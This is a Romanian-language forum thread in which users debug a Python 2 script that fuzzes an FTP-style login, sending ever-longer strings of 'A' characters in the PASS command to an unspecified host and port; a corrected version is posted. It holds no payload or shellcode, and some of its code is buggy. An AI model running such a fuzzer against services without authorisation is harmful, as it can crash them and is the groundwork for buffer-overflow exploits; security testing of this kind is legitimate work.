Jump to content
Sign in to follow this  
BiosHell

Problema de logica

Recommended Posts

Salutare.

 

Lucram la un script de fuzzing si m-am blocat la urmatoarea chestie,codul face ce trebuie pe partea de fuzzing, mai putin pe partea in care printeaza numarul iteratiei.

Am testat si separat functia de print si totul pare sa fie ok,aici imi intervine dilema nu imi dau seama unde gresesc, aici este scriptul :

 

import socket

 

buffer=["A"]

 

counter=20

 

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

 

while len(buffer) <= 1000:

    buffer.append("A"*counter)

    counter=counter+100

 

for string in buffer:

    print "Fuzzing " + "with lenght: " + str(len(string))

    s.connect(('ip',port))

    s.recv(1024)

    s.send('USER username' + '\r\n')

    s.recv(1024)

    s.send('PASS ' + str(buffer) + '\r\n')

    s.recv(1024)

    s.close('QUIT\r\n')

    print "Done"

Share this post


Link to post
Share on other sites

Merci man, dar scriptuletul tau se afla in aceeasi situatie ca si al meu

 

Dupa putin mind fuck :D a iesit , pentru cine mai are nevoie si se afla in asemenea situatie :) 

 

#!/usr/bin/python

import socket

buffer=["A"]
counter=100
while len(buffer) <= 30:
    buffer.append("A"*counter)
    counter=counter+200

for string in buffer:
    print "Fuzzing PASS with %s bytes" % len(string)
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('ip', port ))
    s.recv(1024)
    s.send('USER test\r\n')
    s.recv(1024)
    s.send('PASS ' + string + '\r\n')
    s.send('QUID\r\n')
s.close()

Share this post


Link to post
Share on other sites

Operatia mergea pana capat...iteratia ramanea blocata...cand comentam restul de cod si lasam doar functia de print totul bun si frumos...pana rulam tot codul.

Vad ce a a iesit in a-2-a tura a iesit functional  ,chiar daca e scris cu fundul... :)) 

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...